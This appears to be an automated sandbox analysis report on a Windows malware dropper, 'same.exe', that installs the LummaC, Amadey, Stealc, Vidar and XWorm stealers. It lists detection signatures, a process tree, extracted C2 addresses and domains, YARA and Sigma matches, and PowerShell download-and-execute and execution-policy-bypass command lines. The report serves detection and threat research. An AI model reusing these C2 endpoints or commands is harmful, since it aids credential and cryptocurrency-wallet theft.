Edit tour

Windows Analysis Report
same.exe

Overview

General Information

Sample name:	same.exe
Analysis ID:	1583786
MD5:	8fee55294b6ce710ba882421a1e282a1
SHA1:	f1da859228b828a84984afbe1777840aa520f4d6
SHA256:	644f889c72e122951a1aa1961f390fed9eb1fcbf2fee43f67b7151c411da6b13
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Yara detected XWorm

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious execution chain found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Startup Folder File Write

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

same.exe (PID: 5732 cmdline: "C:\Users\user\Desktop\same.exe" MD5: 8FEE55294B6CE710BA882421A1E282A1)

N4H84.exe (PID: 1616 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe MD5: 9B6914FF1D91D65E66EC864964314B91)

h0i46.exe (PID: 2820 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe MD5: 81771DD2B9318ACB04B8F1377C88F23A)

1C05b9.exe (PID: 2748 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe MD5: C10552E6670650E273E4D8688D186E30)

skotes.exe (PID: 6072 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C10552E6670650E273E4D8688D186E30)

2z8320.exe (PID: 6012 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe MD5: 46B9970ED9E0B2F9EA3DAA8D0BAFD525)

8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe (PID: 3872 cmdline: "C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe" MD5: D9B9048BF135F96587B038A1AAF7FD9B)

chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2512,i,7697681695626081863,14330299052543612662,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 4020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7148 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2296,i,12827818353722698917,6313005570706160908,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7596 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIJEGDAKEH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GIJEGDAKEH.exe (PID: 7348 cmdline: "C:\Users\user\Documents\GIJEGDAKEH.exe" MD5: C10552E6670650E273E4D8688D186E30)

S0E9GDU0ZDFIFFW6VFPUPGQZ.exe (PID: 6080 cmdline: "C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe" MD5: C10552E6670650E273E4D8688D186E30)

skotes.exe (PID: 5720 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C10552E6670650E273E4D8688D186E30)

rundll32.exe (PID: 3108 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 1132 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6888 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

msedge.exe (PID: 7476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4904 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2300,i,7152443262951052951,4773632967686692454,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8156 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C10552E6670650E273E4D8688D186E30)

abu7zly.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe" MD5: BAF4393084DDFBC8BE33B518EE788F19)

f7eded9312.exe (PID: 7424 cmdline: "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe" MD5: 61D014058401D47F86A077B708095317)

powershell.exe (PID: 7776 cmdline: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bf9240674a.exe (PID: 7720 cmdline: "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe" MD5: 26F7294CA7A10C65B44057525A233636)

bf9240674a.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe" MD5: 26F7294CA7A10C65B44057525A233636)

531581880b.exe (PID: 6664 cmdline: "C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe" MD5: 41BF9AE1B6F48DC02E002D83E76210EF)

e41e5204d9.exe (PID: 8120 cmdline: "C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe" MD5: 19861D67B2811D6EB3BE1951B28703AE)

AutoIt3_x64.exe (PID: 8140 cmdline: "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz MD5: 8FA52F316C393496F272357191DB6DEB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["wholersorie.shop", "tirepublicerj.shop", "rabidcowse.shop", "cloudewahsj.shop", "noisycuttej.shop", "nearycrepso.shop", "framekgirus.shop", "abruptyopsn.shop", "fallyjustif.click"], "Build id": "MeHdy4--pl1vs01"}

Threatname: Xworm

{"C2 url": ["get.craca.ru"], "Port": 3232, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3440719090.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2519927544.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2317467498.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2840537714.00000000000D1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8ec0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8f5d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9072:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x884e:$cnc4: POST / HTTP/1.1
00000006.00000003.2317983248.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2317652928.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2877712999.00000000001B1000.00000040.00000001.01000000.00000015.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2502440422.0000000000021000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8ec0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8f5d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9072:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x884e:$cnc4: POST / HTTP/1.1
Process Memory Space: 2z8320.exe PID: 6012	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2z8320.exe PID: 6012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: abu7zly.exe PID: 3524	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: f7eded9312.exe PID: 7424	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f7eded9312.exe PID: 7424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f7eded9312.exe PID: 7424	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
24.2.abu7zly.exe.eb0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
24.2.abu7zly.exe.eb0000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x77e3:$str01: $VB$Local_Port 0x77d4:$str02: $VB$Local_Host 0x7a9d:$str03: get_Jpeg 0x74c1:$str04: get_ServicePack 0x86de:$str05: Select * from AntivirusProduct 0x88da:$str06: PCRestart 0x88ee:$str07: shutdown.exe /f /r /t 0 0x89a0:$str08: StopReport 0x8976:$str09: StopDDos 0x8a6c:$str10: sendPlugin 0x8c0a:$str12: -ExecutionPolicy Bypass -File " 0x8d33:$str13: Content-length: 5235
24.2.abu7zly.exe.eb0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x92c0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x935d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9472:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8c4e:$cnc4: POST / HTTP/1.1
13.2.S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.1C05b9.exe.650000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.GIJEGDAKEH.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x18dcfc:$str05: prefs.js 0x18ecfc:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe, ParentProcessId: 7424, ParentProcessName: f7eded9312.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe, ParentProcessId: 7424, ParentProcessName: f7eded9312.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe", ParentImage: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, ParentProcessId: 3872, ParentProcessName: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6188, ProcessName: chrome.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe, ParentProcessId: 7424, ParentProcessName: f7eded9312.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe, ProcessId: 3524, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\same.exe, ProcessId: 5732, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

